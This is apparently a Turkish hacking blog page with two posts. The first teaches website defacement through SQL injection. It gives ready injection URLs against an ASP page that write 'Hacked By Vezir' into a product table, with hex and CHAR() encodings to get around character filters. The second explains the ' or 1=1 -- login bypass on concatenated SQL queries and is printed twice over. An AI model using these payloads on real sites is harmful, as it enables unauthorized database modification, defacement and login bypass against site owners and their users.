merhaba arkadaşlar bu yazımda tek harf update olan yada harf update olmayan sitelerde char'lama
yönteminden bahsedecem ;
Bir siteye girdiniz hata aldınız baktınız unclosed var tablo ve kolon adlarını çekerek update yapabilirsiniz
tablo ve kolon adlarını aldıktan sonra bakıyorsunuz update olmuyor işte o sırada harflerle update yi
engellemişlerdir ne yapabiliriz
siteye yazacağımızı yazıyı char layarak yani şifreleyerek siteye update yapabiliriz
mesela şu şekil
http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur='Hacked By Vezir;--
bu şekil update olmadı ama tek harf yaptığınızda update oldu
http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur='H;--
burda hacked by vezir kısmını char lıyarak yada hexe çevirerek update yapabilirsiniz
http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur=0x3c68313e4861636b65642062792056657a69722e3034;--
http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur=CHAR(86)+CHAR(101)%20CHAR(122)%20CHAR(105)%20CHAR(114)%20CHAR(46)%20CHAR(48)%20CHAR(52);--
bu şekilde update yapabilirsiniz
3.08.2010
Injection Flaws
Injection Flaws
Dinamik SQL sorgularının kullanıldığı sistemlerde oluşabilecek bir açıktır.
Bir kullanıcı adı parola sınaması yapılan SQL cümleciğinde kullanılabilir.
Select MemberID
From Member
Where Username = '" + txtUsername.Text + "' and Password = '" + txtPassword.Text + "'"
Şeklinde bir SQL cümlesinin kullanıldığı bir sistemde aşağıdaki ifadeleri girelim
txtUsername.Text : ' or 1=1 --
txtPassword.Text : 123--
ifadesi aşağıdaki SQL cümlesinin çalıştırılmasını sağlar
Select MemberID
From Member
Where Username =or 1=1 -- ' and Password = ' " + txtPassword.Text + "'"-- ifadesi SQL Server için
yorum satırı anlamına geldi için çalıştırılmaz.
Where ifadesini inceleyelim :
Username = '' false döner, 1 = 1 ise true. Or karşılaştırmasında ise False or True’nun sonucu true’dur.
Dolayısıyla doğru kullanıcı adı parola girilmese dahi geriye tüm kayıtlar döner ve hacker ilk kaydın
yetkisi ile içeriye giriş yapmış olur.
Dinamik SQL sorgularının kullanıldığı sistemlerde oluşabilecek bir açıktır.
Bir kullanıcı adı parola sınaması yapılan SQL cümleciğinde kullanılabilir.
Select MemberID
From Member
Where Username = '" + txtUsername.Text + "' and Password = '" + txtPassword.Text + "'"
Şeklinde bir SQL cümlesinin kullanıldığı bir sistemde aşağıdaki ifadeleri girelim
txtUsername.Text : ' or 1=1 --
txtPassword.Text : 123--
ifadesi aşağıdaki SQL cümlesinin çalıştırılmasını sağlar
Select MemberID
From Member
Where Username =or 1=1 -- ' and Password = ' " + txtPassword.Text + "'"-- ifadesi SQL Server için
yorum satırı anlamına geldi için çalıştırılmaz.
Where ifadesini inceleyelim :
Username = '' false döner, 1 = 1 ise true. Or karşılaştırmasında ise False or True’nun sonucu true’dur.
Dolayısıyla doğru kullanıcı adı parola girilmese dahi geriye tüm kayıtlar döner ve hacker ilk kaydın
yetkisi ile içeriye giriş yapmış olur.
Kaydol:
Kayıtlar (Atom)